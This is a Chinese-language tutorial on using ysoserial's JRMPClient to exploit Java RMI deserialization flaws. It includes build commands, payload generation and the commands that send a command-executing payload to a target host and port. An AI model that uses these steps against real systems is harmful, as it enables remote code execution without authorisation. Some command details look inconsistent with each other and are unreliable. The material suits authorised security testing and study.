ysoserial.exploit.JRMPClient
是 ysoserial 工具中的一个模块,常用于配合 Java RMI(远程方法调用)反序列化漏洞的攻击。与 JRMPListener
不同,JRMPClient
用于连接远程 RMI 服务器并向其发送恶意 payload。
使用场景
- 漏洞环境:目标 RMI 服务端接受远程连接,并且会对客户端传入的数据进行反序列化。
- 目的:通过
JRMPClient
连接到目标 RMI 服务器,并发送恶意的反序列化 payload,从而执行任意代码。
前置条件
- 需要 Java 环境 和 ysoserial 工具(可以从 GitHub 上获取)。
- 目标服务器的 RMI 服务端存在反序列化漏洞,并且监听在某个端口上(如
1099
)。
下载和编译 ysoserial
如果你还没有 ysoserial
,可以通过以下方式下载并编译:
# 克隆 ysoserial 仓库
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
# 编译 ysoserial
mvn clean package -DskipTests
编译成功后,会在 target
目录下生成 ysoserial-all.jar
文件。
使用 JRMPClient 的方法
假设目标服务器的 RMI 服务端存在反序列化漏洞,可以按照以下步骤操作:
1. 生成恶意 Payload
首先,使用 ysoserial
生成恶意的序列化 payload。以 CommonsCollections1
payload 为例:
java -jar ysoserial-all.jar CommonsCollections1 "calc" > payload.bin
- 参数解释:
CommonsCollections1
:使用的 payload 类型。"calc"
:要执行的命令(在 Windows 上会打开计算器)。payload.bin
:输出的序列化 payload 文件。
2. 使用 JRMPClient 发送 Payload
然后,通过 JRMPClient
连接到目标 RMI 服务器,并发送刚生成的 payload:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient <target-host> <target-port> <payload>
-
参数解释:
<target-host>
:目标 RMI 服务器的 IP 地址或域名。<target-port>
:目标 RMI 服务器的端口(通常为1099
)。<payload>
:使用的反序列化 payload(如CommonsCollections1
)。
-
示例:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 192.168.1.10 1099 CommonsCollections1 "calc"
这将连接到目标 RMI 服务器(IP 为
192.168.1.10
,端口为1099
),并发送恶意 payload 以执行calc
命令。
3. 通过预先生成的序列化文件发送
也可以将已生成的 payload.bin
文件直接发送:
cat payload.bin | java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient <target-host> <target-port>
典型攻击流程
- 生成 payload:利用 ysoserial 生成反序列化 payload。
- 发送 payload:通过
JRMPClient
连接到目标 RMI 服务端,发送恶意数据。 - 触发漏洞:如果目标服务器存在反序列化漏洞,恶意命令将会在目标系统上执行。
注意事项
- 防火墙:确保你的机器与目标服务器之间的网络连通性。
- Java 版本:某些 payload 可能依赖特定的 Java 版本,建议在不同环境下测试。
- 合法授权:此工具仅应用于合法的安全测试和漏洞验证中,禁止用于未经授权的攻击。
- 调试:如果攻击失败,可以尝试更换 payload 或调整目标端口。
通过以上方法,你可以使用 ysoserial.exploit.JRMPClient
对存在 RMI 反序列化漏洞的服务器进行测试。希望对你理解和利用 RMI 相关漏洞有所帮助!